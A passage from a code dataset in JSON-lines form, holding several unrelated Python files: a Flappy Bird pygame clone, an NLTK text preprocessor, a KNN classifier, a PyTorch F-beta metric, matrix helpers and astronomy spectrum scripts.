df_vehicle_inter_0[\"leave_time\"].values - df_vehicle_inter_0[\n \"enter_time\"].values\n\n tmp_idx = []\n for i, v in enumerate(df_vehicle_inter_0[\"vehicle_id\"]):\n if \"shadow\" in v:\n tmp_idx.append(i)\n df_vehicle_inter_0.drop(df_vehicle_inter_0.index[tmp_idx], inplace=True)\n\n ave_duration = df_vehicle_inter_0['duration'].mean(skipna=True)\n print(\"------------- inter_index: {0}\\tave_duration: {1}\".format(inter_id, ave_duration))\n df_vehicle_all.append(df_vehicle_inter_0)\n\n df_vehicle_all = pd.concat(df_vehicle_all, axis=0)\n vehicle_duration = df_vehicle_all.groupby(by=['vehicle_id'])['duration'].sum()\n ave_duration = vehicle_duration.mean()\n num_of_vehicle_in = len(df_vehicle_all['vehicle_id'].unique())\n num_of_vehicle_out = len(df_vehicle_all.dropna()['vehicle_id'].unique())\n save_path = os.path.join('records', memo_cv, traffic_file).replace(\"records\", \"summary\")\n if not os.path.exists(save_path):\n os.makedirs(save_path)\n # duration.to_csv(os.path.join(save_path, 'flow.csv'))\n total_summary_cv.append(\n [traffic_file, ave_duration, num_of_vehicle_in, num_of_vehicle_out, dic_agent_conf[\"FIXED_TIME\"]])\n else:\n shutil.rmtree(train_dir)\n total_summary_cv = pd.DataFrame(total_summary_cv)\n total_summary_cv.sort_values([0], ascending=[True], inplace=True)\n total_summary_cv.columns = ['TRAFFIC', 'DURATION', 'CAR_NUMBER_in', 'CAR_NUMBER_out', 'CONFIG']\n total_summary_cv.to_csv(os.path.join(\"records\", memo_cv,\n \"total_baseline_results.csv\").replace(\"records\", \"summary\"),\n sep='\\t', index=False)\n\n\nif __name__ == \"__main__\":\n \"\"\"Only use these data\"\"\"\n total_summary = {\n \"traffic\": [],\n \"final_duration\": [],\n \"final_duration_std\": [],\n \"final_through\": [],\n }\n memo = \"benchmark_1001\"\n summary_detail_RL(memo, copy.deepcopy(total_summary))\n # summary_detail_conventional(memo)\n","repo_name":"LiangZhang1996/Advanced_XLight","sub_path":"summary.py","file_name":"summary.py","file_ext":"py","file_size_in_byte":9338,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"29"} +{"seq_id":"21520293772","text":"import pygame as pg\r\nimport random\r\n\r\n# инициализация игры\r\npg.init()\r\n\r\n# параметры экрана\r\nwidth = 600\r\nheight = 800\r\ndisplay = pg.display.set_mode((width, height))\r\npg.display.set_caption('bird')\r\nFPS = pg.time.Clock()\r\nscore = 0\r\n\r\n# Шрифт\r\nfont_type = \"font/FARCEB__.TTF\"\r\nfont_size = 30\r\nfont_color = (0, 0, 0)\r\n\r\n# параметры птицы\r\nbird_width = 100\r\nbird_height = 73\r\nposition_x = 50\r\nposition_y = 350\r\njump = False\r\n\r\n# изображение птицы\r\nbird_up = [pg.image.load('image/up.png'), pg.image.load('image/up3.png'), pg.image.load('image/up2.png')]\r\nbird_fall = pg.image.load('image/fall.png')\r\nanimation = 6\r\n\r\n# параметры труб\r\ntrumpet_bot = [pg.image.load('image/small.png'), pg.image.load('image/middle.png'), pg.image.load('image/big.png')]\r\nreverse_trumpet = [pg.image.load('image/reverse_small.png'), pg.image.load('image/reverse_middle.png'),pg.image.load('image/reverse_big.png')]\r\n\r\ntrumpet_option = [115, 645, 115, 675, 115, 525]\r\nreverse_trumpet_option = [155, 1, 155, 1 , 155, 1]\r\nh_reverse_trumbet = [154, 224, 274]\r\n\r\n# Звуки\r\npg.mixer.music.load(\"music/Chris Christodoulou feat. Christos Spirakis, Thanasi Moustogiannis - Ashes to As.mp3\")\r\npg.mixer.music.set_volume(0.1)\r\n\r\nfly = pg.mixer.Sound(\"music/fly.mp3\")\r\ndeath = pg.mixer.Sound(\"music/death.mp3\")\r\n\r\n# функция игры\r\ndef run_game():\r\n global position_y, jump\r\n game = True\r\n background = pg.image.load('image/background.jpg')\r\n pg.mixer.music.play(-1)\r\n\r\n # Списки труб\r\n trumpet_array = []\r\n reverse_array = []\r\n create_array(trumpet_array)\r\n create_array_reverse(reverse_array)\r\n\r\n while game:\r\n # цикл выхода из игры\r\n for event in pg.event.get():\r\n if event.type == pg.QUIT:\r\n pg.QUIT()\r\n quit()\r\n\r\n # Управление\r\n pressed_keys = pg.key.get_pressed()\r\n if pressed_keys[pg.K_SPACE]:\r\n make_jump()\r\n else:\r\n fall()\r\n\r\n if pressed_keys[pg.K_ESCAPE]:\r\n pause()\r\n\r\n # Колизии\r\n if (position_y >= 720) or (position_y <= 0):\r\n pg.mixer.Sound.play(death)\r\n game_over()\r\n\r\n if (collision(trumpet_array)) or (r_collision(reverse_array)):\r\n pg.mixer.Sound.play(death)\r\n game_over()\r\n\r\n # Отрисовка и параметры экрана\r\n pg.display.update()\r\n display.blit(background, (0, 0))\r\n FPS.tick(60)\r\n\r\n draw_array(trumpet_array)\r\n draw_reverse_array(reverse_array)\r\n\r\n print_text(\"SCORE: \" + str(score), 400, 10, font_color, font_type, font_size)\r\n score_counter(trumpet_array)\r\n\r\n# функция падения\r\ndef fall():\r\n global position_y\r\n position_y += 4\r\n display.blit(bird_fall, (position_x, position_y))\r\n pg.display.update()\r\n\r\n# функция прыжка\r\ndef make_jump():\r\n global position_y, jump, animation\r\n pg.mixer.Sound.play(fly)\r\n pg.mixer.Sound.set_volume(fly, 0.1)\r\n jump = True\r\n position_y -= 10\r\n \r\n # анимация\r\n if animation == 12:\r\n animation = 0\r\n\r\n display.blit(bird_up[animation // 6], (position_x, position_y))\r\n animation += 1\r\n\r\n# трубы снизу\r\nclass Trumpets:\r\n def __init__(self, x, y, width_t, img, speed):\r\n self.x = x\r\n self.y = y\r\n self.width_t = width_t\r\n self.img = img\r\n self.speed = speed\r\n\r\n # Функция движения\r\n def move(self):\r\n if self.x >= -self.width_t:\r\n display.blit(self.img, (self.x, self.y))\r\n self.x -= self.speed\r\n return True\r\n else:\r\n self.x = width + 12 + random.randrange(- 8, 6)\r\n return False\r\n\r\n # Возвращаюший прикол)\r\n def return_trumpet(self, radius, y, width_t, img):\r\n self.x = radius\r\n self.y = y\r\n self.width_t = width_t\r\n self.img = img\r\n\r\n display.blit(self.img, (self.x, self.y))\r\n\r\n# трубы сверху\r\nclass Reverse:\r\n def __init__(self, x_r, y_r, width_r, img_r, speed_r, col):\r\n self.x_r = x_r\r\n self.y_r = y_r\r\n self.width_r = width_r\r\n self.img_r = img_r\r\n self.speed_r = speed_r\r\n self.col = col\r\n\r\n # Функция движения\r\n def move(self):\r\n if self.x_r >= -self.width_r:\r\n display.blit(self.img_r, (self.x_r, self.y_r))\r\n self.x_r -= self.speed_r\r\n return True\r\n else:\r\n self.x_r = width + 12 + random.randrange(- 8, 6)\r\n return False\r\n\r\n # Возвращаюший прикол) 2.0\r\n def return_trumpet_reverse(self, radius_r, y_r, width_r, img_r, col):\r\n self.x_r = radius_r\r\n self.y_r = y_r\r\n self.width_r = width_r\r\n self.img_r = img_r\r\n self.col = col\r\n\r\n display.blit(self.img_r, (self.x_r, self.y_r))\r\n\r\n# фунции создания труб\r\ndef create_array(array):\r\n pos = [width, 150, 300, 450, 600]\r\n\r\n for i in range (0, 5):\r\n if i == 0:\r\n choice = random.randrange(0, 3)\r\n img = trumpet_bot[choice]\r\n width_a = trumpet_option[choice * 2]\r\n height_a = trumpet_option[choice * 2 + 1]\r\n\r\n array.append(Trumpets(width, height_a, width_a, img, 4))\r\n else:\r\n choice = random.randrange(0, 3)\r\n img = trumpet_bot[choice]\r\n width_a = trumpet_option[choice * 2]\r\n height_a = trumpet_option[choice * 2 + 1]\r\n\r\n array.append(Trumpets(width + pos[i], height_a, width_a, img, 4))\r\n\r\ndef create_array_reverse(array):\r\n pos = [width, 150, 300, 450, 600]\r\n\r\n for i in range(0, 5):\r\n if i == 0:\r\n choice_r = random.randrange(0, 3)\r\n img_r = reverse_trumpet[choice_r]\r\n width_r = reverse_trumpet_option[choice_r * 2]\r\n height_r = reverse_trumpet_option[choice_r * 2 + 1]\r\n col = h_reverse_trumbet[choice_r]\r\n\r\n array.append(Reverse(width, height_r, width_r, img_r, 4, col))\r\n else:\r\n choice_r = random.randrange(0, 3)\r\n img_r = reverse_trumpet[choice_r]\r\n width_r = reverse_trumpet_option[choice_r * 2]\r\n height_r = reverse_trumpet_option[choice_r * 2 + 1]\r\n col = h_reverse_trumbet[choice_r]\r\n\r\n array.append(Reverse(width + pos[i], height_r, width_r, img_r, 4, col))\r\n\r\n# Поиск радиуса от последней трубы, чтобы заспавнить новую\r\ndef find_radius(array):\r\n maximum = max(array[0].x, array[1].x, array[2].x)\r\n\r\n if maximum < width:\r\n radius = width\r\n if radius - maximum < 10:\r\n radius += 3\r\n else:\r\n radius = maximum\r\n\r\n choice = random.randrange(0, 5)\r\n\r\n if choice == 0:\r\n radius += random.randrange(1, 5)\r\n else:\r\n radius += random.randrange(2, 5)\r\n\r\n return radius\r\n\r\ndef find_radius_reverse(array_r):\r\n maximum = max(array_r[0].x_r, array_r[1].x_r, array_r[2].x_r)\r\n\r\n if maximum < width:\r\n radius_r = width\r\n if radius_r - maximum < 10:\r\n radius_r += 3\r\n else:\r\n radius_r = maximum\r\n\r\n choice_r = random.randrange(0, 5)\r\n\r\n if choice_r == 0:\r\n radius_r += random.randrange(1, 5)\r\n else:\r\n radius_r += random.randrange(2, 5)\r\n\r\n return radius_r\r\n\r\n# Отрисовка труб\r\ndef draw_array(array):\r\n for Trumpets in array:\r\n check = Trumpets.move()\r\n\r\n if not check:\r\n radius = find_radius(array)\r\n choice = random.randrange(0, 3)\r\n img = trumpet_bot[choice]\r\n width_a = trumpet_option[choice * 2]\r\n height_a = trumpet_option[choice * 2 + 1]\r\n\r\n Trumpets.return_trumpet(radius, height_a, width_a, img)\r\n\r\ndef draw_reverse_array(array_r):\r\n for reverse in array_r:\r\n check = reverse.move()\r\n\r\n if not check:\r\n radius_r = find_radius_reverse(array_r)\r\n choice_r = random.randrange(0, 3)\r\n img_r = reverse_trumpet[choice_r]\r\n width_r = reverse_trumpet_option[choice_r * 2]\r\n height_r = reverse_trumpet_option[choice_r * 2 + 1]\r\n\r\n if choice_r == 3:\r\n col = h_reverse_trumbet[choice_r - 1]\r\n else:\r\n col = h_reverse_trumbet[choice_r]\r\n\r\n reverse.return_trumpet_reverse(radius_r, height_r, width_r, img_r, col)\r\n\r\n# Колизии\r\ndef collision(barriers):\r\n for barrier in barriers:\r\n\r\n if position_y + bird_height >= barrier.y:\r\n if barrier.x <= position_x <= barrier.x + barrier.width_t:\r\n return True\r\n elif barrier.x <= position_x + bird_width <= barrier.x + barrier.width_t:\r\n return True\r\n return False\r\n\r\ndef r_collision(barriers_reverse):\r\n for barrier_r in barriers_reverse:\r\n \r\n if position_y <= barrier_r.y_r + barrier_r.col: \r\n if barrier_r.x_r <= position_x <= barrier_r.x_r + barrier_r.width_r:\r\n return True\r\n elif barrier_r.x_r <= position_x + bird_width <= barrier_r.x_r + barrier_r.width_r:\r\n return True\r\n return False\r\n\r\n# Функция вывода текста на экран\r\ndef print_text(message, x, y, font_color, font_type, font_size):\r\n font_type = pg.font.Font(font_type, font_size)\r\n text = font_type.render(message, True, font_color)\r\n display.blit(text, (x, y))\r\n\r\n# Счетчик очко��\r\ndef score_counter(barriers):\r\n global score\r\n \r\n for barrier in barriers:\r\n if position_x > barrier.x:\r\n score += 1\r\n\r\n return (score - 1)\r\n\r\n# Пауза\r\ndef pause():\r\n paused = True\r\n while paused:\r\n for event in pg.event.get():\r\n if event.type == pg.QUIT:\r\n pg.QUIT()\r\n quit()\r\n\r\n print_text(\"Пауза....Раздови кнопку Enter, если хочешь продожить.\",\r\n 10, 300, font_color, font_type = \"font/ua-BRAND-regular.otf\", font_size = 19)\r\n print_text(\"Но если хочешь выйти, ебаника по кнопке F1.\", 10, 330, font_color, font_type = \"font/ua-BRAND-regular.otf\", font_size = 19)\r\n\r\n pressed_keys = pg.key.get_pressed()\r\n if pressed_keys[pg.K_RETURN]:\r\n paused = False\r\n if pressed_keys[pg.K_F1]:\r\n quit()\r\n\r\n pg.display.update()\r\n FPS.tick(60)\r\n \r\n# конец игры\r\ndef game_over():\r\n global score\r\n over = True\r\n\r\n while over:\r\n for event in pg.event.get():\r\n if event.type == pg.QUIT:\r\n pg.QUIT()\r\n quit() \r\n\r\n pressed_keys = pg.key.get_pressed()\r\n if pressed_keys[pg.K_RETURN]:\r\n score = 0\r\n run_game()\r\n\r\n if pressed_keys[pg.K_ESCAPE]:\r\n quit() \r\n \r\n print_text(\"Вы проиграли...ваш счет \" + str(score), 10, 300, font_color, font_type = \"font/ua-BRAND-regular.otf\", font_size = 30)\r\n print_text(\"Для перезапуска нажмите Enter, для выхода ESC\", 10, 350, font_color, font_type = \"font/ua-BRAND-regular.otf\", font_size = 20)\r\n\r\n pg.display.update()\r\n FPS.tick(60)\r\n\r\nrun_game() \r\n","repo_name":"AxVol/Copy_Flappy_Bird","sub_path":"bird.py","file_name":"bird.py","file_ext":"py","file_size_in_byte":11510,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"43186861278","text":"\"\"\"\n Convert time from 12h format to 24h\n h:mm a.m. or p.m. -> hh:mm\n\"\"\"\n\ndef time_converter(time):\n w, state = time.split()\n h, m = w.split(':')\n h = int(h)\n if state == \"p.m.\" and h != 12:\n h += 12\n elif state == \"a.m.\" and h == 12:\n h = 0\n return \"%02d:%s\" % (h, m)\n\nif __name__ == '__main__':\n print(\"Example:\")\n print(time_converter('12:30 p.m.'))\n\n #These \"asserts\" using only for self-checking and not necessary for auto-testing\n assert time_converter('12:30 p.m.') == '12:30'\n assert time_converter('9:00 a.m.') == '09:00'\n assert time_converter('11:15 p.m.') == '23:15'\n print(\"Coding complete? Click 'Check' to earn cool rewards!\")\n","repo_name":"gwqw/LessonsSolution","sub_path":"checkio/07_Electronic_Station/07_EelctronicStation_12_TimeConverter12to24.py","file_name":"07_EelctronicStation_12_TimeConverter12to24.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"8208610954","text":"import nltk\nimport re\nimport os\nimport langdetect\nnltk.download('rslp')\n\ndef preprocessamento(texto, stopwords1, stem):\n stopwords = nltk.corpus.stopwords.words('portuguese')\n stemmer = nltk.stem.RSLPStemmer()\n stop_ = ['mais', 'mas', 'não', 'já', 'sem', 'nem', 'mesmo']\n for i in stop_:\n stopwords.remove(i)\n \n texto.replace(\".\",\" \")\n tokens = nltk.tokenize.word_tokenize(texto, language='portuguese')\n\n lista = []\n for i in range(len(tokens)):\n if tokens[i].isalpha():\n x = tokens[i] not in stopwords\n if x or not stopwords1:\n\n if stem:\n lista.append(stemmer.stem(tokens[i]))\n return lista\n\ndef save_list(lista,endereco):\n try:\n arq = open(endereco, 'a', encoding=\"utf-8\")\n except:\n arq = open(endereco, 'w', encoding='utf-8')\n if lista != None:\n for i in lista:\n arq.writelines(i)\n\ndef read_list(endereco):\n lista = []\n for i in open(endereco, 'r', encoding=\"utf-8\"):\n lista.append(i)\n return lista\n\ndef processando(textos):\n lista = []\n for i in textos:\n tokens = nltk.tokenize.word_tokenize(i, language='portuguese')\n if len(tokens) > 4:\n lista.append(i)\n\n return lista\n\ndef substitui(lista1):\n lista2 = []\n lista1 = checar_repetidos(lista1)\n for texto in lista1:\n try:\n if len(texto)>5 and langdetect.detect(texto) == 'pt':\n texto = re.sub('<[^>]*>', \"\", texto)\n texto = re.sub('((www\\.[^\\s]+)|(https?://[^\\s]+))', 'URL', texto) #tirando links\n texto = re.sub('\\s\\s', \" \", texto)\n texto = re.sub('\\s([@#][\\w_-]+)', \" TAG \", texto)\n texto = re.sub('([$]?[0-9]+,*[0-9]*)+', \" NUMBER \", texto)\n texto.replace(\"🏻\",\"\")\n texto = re.sub('(\\.)', \" \", texto)\n texto.replace(\" \", \" \")\n tokens = nltk.tokenize.word_tokenize(texto, language='portuguese')\n for i in range(len(tokens)):\n\n if tokens[i] in dict.keys():\n tokens[i] = dict[tokens[i]]\n\n lista2.append(lista(tokens))\n except:\n print(texto)\n return lista2\n\ndef checar_repetidos(lista):\n lista1 = []\n for i in lista:\n if i not in lista1:\n lista1.append(i)\n return lista1\n\ndef lista(lista):\n str1 = \"\"\n for i in lista:\n str1=str1+str(i)+\" \"\n return str1+\"\\n\"\n\n\ndef clean(endereco):\n caminhos = endereco\n lista = read_list(endereco)\n lista = substitui(lista)\n save_list(lista, \"Final Raw Data/Clean/\"+caminhos.split(\"/\")[2]+\"_clean1\")\n print(caminhos.split(\"/\")[2]+\"_clean1\")\n\n\ndef split(endereco1):\n endereco = 'Final Raw Data/Raw Data/'+endereco1+'_pt'\n pos = read_list(endereco+\"_pos_clean\")\n neg = read_list(endereco+\"_neg_clean\")\n save_list(pos[0:1000],'Split/'+endereco1+'/positive.parsed')\n save_list(neg[0:1000],'Split/'+endereco1+'/negative.parsed')\n save_list(pos[1000:]+neg[1000:], 'Split/'+endereco1+'/'+endereco1+'Un')\n\ndef carregar(pasta):\n\n caminhos = [os.path.join(pasta, nome) for nome in os.listdir(pasta)]\n lista = []\n for i in caminhos:\n lista.append(read_list(i))\n return caminhos, lista\n","repo_name":"larifeliciana/datasets-sentiment_analysis-BS4","sub_path":"preprocessamento.py","file_name":"preprocessamento.py","file_ext":"py","file_size_in_byte":3328,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"20733215985","text":"import numpy as np\nfrom math import sqrt\nfrom collections import Counter\nfrom sklearn import metrics\nfrom sklearn.decomposition import PCA\nfrom sklearn import preprocessing\n\nX_study = np.loadtxt('data_study.txt')#此处要进行np的import import numpy as np\nX_check = np.loadtxt('data_check.txt')\n#获取标签,原来的标签是最后一行,并且是2和4,要改一下\nlabels = X_study[:,9]\nlabels = labels/2 -1\nfor i in range(len(labels)): \n if labels[i] == 0: \n labels[i] = 1\n else:\n labels[i] = 0\nX_study = np.delete(X_study,9,axis=1)\nlabel_check = X_check[:,9]\nlabel_check = label_check/2 -1\nfor i in range(len(label_check)): \n if label_check[i] == 0: \n label_check[i] = 1\n else:\n label_check[i] = 0\nX_check = np.delete(X_check,9,axis=1)\n#print(labels)\ntotal = list()\n\npca=PCA(n_components=3)\npca.fit(X_study)\nx_study = pca.transform(X_study)\n\npca.fit(X_check)\nx_check = pca.transform(X_check)\n\ndef distance(k, X_train, Y_train, x):\n assert 1 <= k <= X_train.shape[0], \"K must be valid\"\n assert X_train.shape[0] == Y_train.shape[0], \"the size of X_train must equal to the size of y_train\"\n assert X_train.shape[1] == x.shape[0], \"the feature number of x must be equal to X_train\"\n distance = [np.sum(abs(x_train - x)) for x_train in X_train]\n nearest = np.argsort(distance)\n topk_y = [Y_train[i] for i in nearest[:k]]\n votes = Counter(topk_y)\n return votes.most_common(1)[0][0]\n\n\nif __name__ == \"__main__\":\n for xr in x_check:\n #x = np.array([8,4,5,1,2,1,7,3,1])\n label = distance(3, x_study, labels, xr)\n #print(label)\n \n total.append(label)\n print(total)\n \n result_NMI=metrics.normalized_mutual_info_score(label_check, total)\n print(\"result_NMI:\",result_NMI)","repo_name":"yunzhe99/Data-Mining-Mini-Work","sub_path":"作业汇总1-3/2_分类/KNN_classification.py","file_name":"KNN_classification.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"25491513945","text":"\"\"\"Probabilistic F1 score for binary classification.\"\"\"\nfrom typing import Tuple\n\nimport numpy as np\nimport torch\nfrom torchmetrics import Metric\n\n\nclass BinaryPFBeta(Metric):\n \"\"\"\n PyTorch Metric that computes the Probabilistic F-beta score for binary classification.\n\n Args:\n beta: Float value of beta parameter in F-beta score. Default is 1.\n dist_sync_on_step: Synchronize metric state across processes at each forward pass.\n Default is False.\n\n Shape:\n - Preds: (N, ) or (N, C)\n - Labels: (N, ) where each value is either 0 or 1\n\n Example:\n >>> import torch\n >>> from torchmetrics import PFBeta\n >>> preds = torch.tensor([0.8, 0.6, 0.3, 0.2])\n >>> labels = torch.tensor([1, 0, 1, 0])\n >>> metric = PFBeta(beta=0.5)\n >>> metric(preds, labels)\n tensor(0.4732)\n\n Reference:\n [1] Powers, David M. \"Evaluation: from precision, recall and F-measure to ROC,\n informedness, markedness & correlation.\"\n Journal of machine learning technologies 2.1 (2011): 37-63.\n \"\"\"\n\n def __init__(self, beta: float = 1, dist_sync_on_step: bool = False):\n super().__init__(dist_sync_on_step=dist_sync_on_step)\n self.beta = beta\n self.add_state(\n \"ctp\", default=torch.tensor(0, dtype=torch.float), dist_reduce_fx=\"sum\"\n )\n self.add_state(\n \"cfp\", default=torch.tensor(0, dtype=torch.float), dist_reduce_fx=\"sum\"\n )\n self.add_state(\n \"y_true_count\",\n default=torch.tensor(0, dtype=torch.float),\n dist_reduce_fx=\"sum\",\n )\n\n def update(self, preds: torch.Tensor, labels: torch.Tensor):\n \"\"\"\n Update the state variables for computing PFBeta.\n\n Args:\n preds: Predicted probabilities of shape (N, ) or (N, C).\n labels: Ground truth binary labels of shape (N, ).\n\n Returns:\n None\n \"\"\"\n preds = preds.to(\"cpu\")\n labels = labels.to(\"cpu\")\n if preds.ndim == 2:\n preds = preds[:, 1]\n preds = preds.clip(0, 1)\n self.y_true_count += labels.sum()\n self.ctp += preds[labels == 1].sum()\n self.cfp += preds[labels == 0].sum()\n\n def compute(self) -> float:\n \"\"\"\n Compute the PFBeta score.\n\n Returns:\n The computed PFBeta score as a float.\n \"\"\"\n c_precision = self.ctp / (self.ctp + self.cfp)\n c_recall = self.ctp / self.y_true_count\n beta_squared = self.beta ** 2\n\n if c_precision > 0 and c_recall > 0:\n pf1 = (\n (1 + beta_squared)\n * (c_precision * c_recall)\n / (beta_squared * c_precision + c_recall)\n )\n return pf1\n return torch.tensor(0.0, dtype=torch.float)\n\n def reset(self):\n \"\"\"\n Reset the state variables.\n\n Returns:\n None\n \"\"\"\n self.ctp = torch.tensor(0, dtype=torch.float)\n self.cfp = torch.tensor(0, dtype=torch.float)\n self.y_true_count = torch.tensor(0, dtype=torch.float)\n\n\ndef pfbeta_torch(preds: torch.Tensor, labels: torch.Tensor, beta: float = 1) -> float:\n \"\"\"PyTorch implementation of the Probabilistic F-beta score for binary classification.\n Preds must be either a 1D tensor of probabilities or a 2D tensor of probs.\"\"\"\n if preds.ndim == 2:\n preds = preds[:, 1]\n preds = preds.clip(0, 1)\n\n y_true_count = labels.sum()\n ctp = preds[labels == 1].sum()\n cfp = preds[labels == 0].sum()\n\n beta_squared = beta * beta\n\n c_precision = ctp / (ctp + cfp)\n c_recall = ctp / y_true_count\n\n if c_precision > 0 and c_recall > 0:\n return (\n (1 + beta_squared)\n * (c_precision * c_recall)\n / (beta_squared * c_precision + c_recall)\n ).item()\n return 0.0\n\n\ndef optimize_thresholds(\n preds: torch.Tensor, labels: torch.Tensor\n) -> Tuple[float, float]:\n labels = labels.detach().cpu().numpy()\n preds = preds.detach().cpu().numpy()\n\n f1_thresholded = []\n thresholds = np.linspace(0.001, 0.999, 999)\n for threshold in thresholds:\n predictions_thresholded = (preds > threshold).astype(int)\n f1 = pfbeta_torch(predictions_thresholded, labels)\n f1_thresholded.append(float(f1))\n max_f1 = np.max(f1_thresholded)\n best_threshold = thresholds[np.argmax(f1_thresholded)]\n return max_f1, best_threshold\n","repo_name":"gao-hongnan/pytorch-lightning-pipeline","sub_path":"src/metrics/pf1.py","file_name":"pf1.py","file_ext":"py","file_size_in_byte":4498,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"37738153132","text":"#!/usr/bin/env /share/apps/bin/python2.7\n#does fit of all globular cluster fits from dir \"LIST\"\n\nimport Age_date as ag\nimport os\nimport cPickle as pik\n#import pyfits as fits\nimport numpy as nu\n\n\ndef make_usable(fl):\n temp = nu.loadtxt(fl)\n ssp = {}\n age = nu.unique(temp[:,0])\n for i in age:\n ssp[str(i)]= temp[temp[:,0] == i,1:]\n return ssp\n\nif __name__ == '__main__':\n Dir = 'sed/'\n files = os.listdir(Dir)\n local_files = nu.array(os.listdir(os.popen('pwd').readline()[:-1]))\n spect = nu.copy(ag.spect)\n #fig = lab.figure()\n for i in files:\n if not i.endswith('.sed_agb'):\n continue\n ssp = make_usable(Dir + i)\n for j in ssp.keys():\n data = ssp[j]\n ag.spect = nu.copy(spect)\n fun = ag.MC_func(data, itter= 10**6)\n fun.autosetup()\n ag.spect = fun.spect\n param,chi,bayes = fun.run()\n pik.dump((param,chi,data),open(i[:i.find('.sed_agb')] + '_age_%s.pik'%j,'w'),2)\n \n","repo_name":"thusodangersimon/experements","sub_path":"SFH/Marsrom_Csp/runit.py","file_name":"runit.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"12416311574","text":"import os\n\nfrom bot.tasks import create_task\nfrom bot.time_util import sleep, get_time\n\nfactor = int(os.environ.get('FACTOR', '1'))\nstart = 8\nend = 23\ncounter = 0\n\nprint(os.environ)\nprint(\"should do about: %s \" % ((end - start) * 60 / (10 + 100 / factor)))\n\n\ndef is_time():\n hour = int(get_time('this_hour'))\n return start <= hour <= end\n\n\nwhile True:\n while not is_time():\n print(\"hour: %s\" % get_time('this_hour'))\n sleep(50 * 60)\n sleep(50 * 60 / factor)\n\n result = create_task(sleep=50, factor=factor)\n counter += result\n print(\"result %s: %s \" % (counter, result))\n\n","repo_name":"Gott50/breakthrough","sub_path":"src/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"32410194036","text":"'''PSEUDOCODE\nADDING\n\nIF LENGTH OF matrix1 IS NOT EQUAL TO LENGTH OF matrix2 THEN\n OUTPUT 'Matrix must be of same size'\n BREAK\nELSE\n FOR EACH vertical element IN matrix1 DO\n FOR EACH horizontal element IN matrix1 DO\n #vertical element = ve\n #Horizontal element = he\n resultant[ve][he] -> \n matrix1[ve][he] + matrix2[ve][he]\n\n\nSUBTRACTING\n\nExactly the same at addition but subtracting the ve and he\n\n\nMULTIPLYING\n\nINPUT matrix1\nINPUT matrix2\n\nIF matrix1 OR matrix 2 EQUAL INTEGER THEN\n FOR EACH ve IN matrix DO\n FOR EACH he IN matrix DO\n resultantMatrix[ve][he] -> matrix[ve][he] * INTEGER\n RETURN resultantMatrix\n\nELSE\n FOR EACH ve IN he IN matrix2 DO\n FOR EACH ve IN he IN matrix1 DO\n MULTIPLY ve BY FIRST ELEMENT IN matrix2\n add to value in corresponding column of resultant matrix\n\n'''\ndef add(m1, m2):\n '''Matrix addition function\n\n Accepts two matrix's in the form of embedded lists providing they are of the\n same dimensions and performs an addition of them. Efficiency O(N^2)'''\n print(m2)\n if (checkLength(m1,m2)):\n return \"Matrix's must be of the same length.\"\n result = m1\n for i in range(len(m1)):\n for j in range(len(m1[0])):\n result[i][j] = m1[i][j] + m2[i][j]\n\n return result\n\n\ndef subtract(m1, m2):\n '''Matrix subtraction function\n\n Accepts two matrix's in the form of embedded lists providing they are of the\n same dimensions and performs a subtraction of them'''\n if (checkLength(m1,m2)):\n return \"Matrix's must be of the same length.\"\n result = m1\n for i in range(len(m1)):\n for j in range(len(m1[0])):\n result[i][j] = m1[i][j] - m2[i][j]\n\n return result\n\ndef multiply(m1, m2):\n '''Takes two matrices and multiplies\n\n Accepts two matrices only in the form of nested lists or\n one integer and one matrix'''\n #If either argument is an integer\n if (type(m1) == int):\n return multiplyInt(m1, m2)\n elif (type(m2) == int):\n return multiplyInt(m2, m1)\n\n #Compute standard multiplication\n zipped_b = zip(*m2)\n return [[sum(ele_a*ele_b for ele_a, ele_b in zip(row_a, col_b)) for col_b in zipped_b] for row_a in m1]\n\ndef multiplyInt(integer, matrix):\n #Set resultant matrix to the correct size\n result = matrix\n for i in range(len(matrix)):\n for j in range(len(matrix[0])):\n result[i][j] = integer * matrix[i][j]\n\n return result\n\n\ndef checkLength(m1, m2):\n if (len(m1) != len(m2)):\n return True\n\nB = [[1,2,3],\n [4,5,6],\n [7,8,9],\n [10,11,12]]\nC = [[1,2,3],\n [1,2,4],\n [1,2,4],\n [3,4,5]]\nprint(subtract(multiply(B, C), multiply(2,add(B, C))))\n","repo_name":"edprince/uni","sub_path":"210/coursework/q5.py","file_name":"q5.py","file_ext":"py","file_size_in_byte":2772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"15922904187","text":"import numpy as np\nimport lime\nfrom lime.io import load_fits\nfrom pathlib import Path\nfrom shutil import copy as shu_copy\nfrom astropy.io import fits\nimport os\n\ndef open_XSHOOTER_fits(file_address):\n\n # Open the fits file\n with fits.open(file_address) as hdul:\n data, hdr = hdul[0].data, hdul[0].header\n\n # Reconstruct the wavelength array\n w_min = hdr['CRVAL1']\n dw = hdr['CD1_1'] # dw (Wavelength interval per pixel)\n pixels = hdr['NAXIS1'] # nw number of output pixels\n w_max = w_min + dw * pixels\n wave_arr = np.linspace(w_min, w_max, pixels, endpoint=False)\n\n return wave_arr, data\n\nconf_file = 'LzLCS_XSHOOTER_Izotov_cfg.toml'\nobsCfg = lime.load_cfg(conf_file)\n\ndataFolder = Path(obsCfg['data_location']['data_folder'])\nresults_fonder = Path(obsCfg['data_location']['results_folder'])\n\nspecNameList = obsCfg['sample_data']['specName_list']\nzList = obsCfg['sample_data']['redshift_array']\nnorm_flux = obsCfg['sample_data']['norm_flux']\nrefMask = 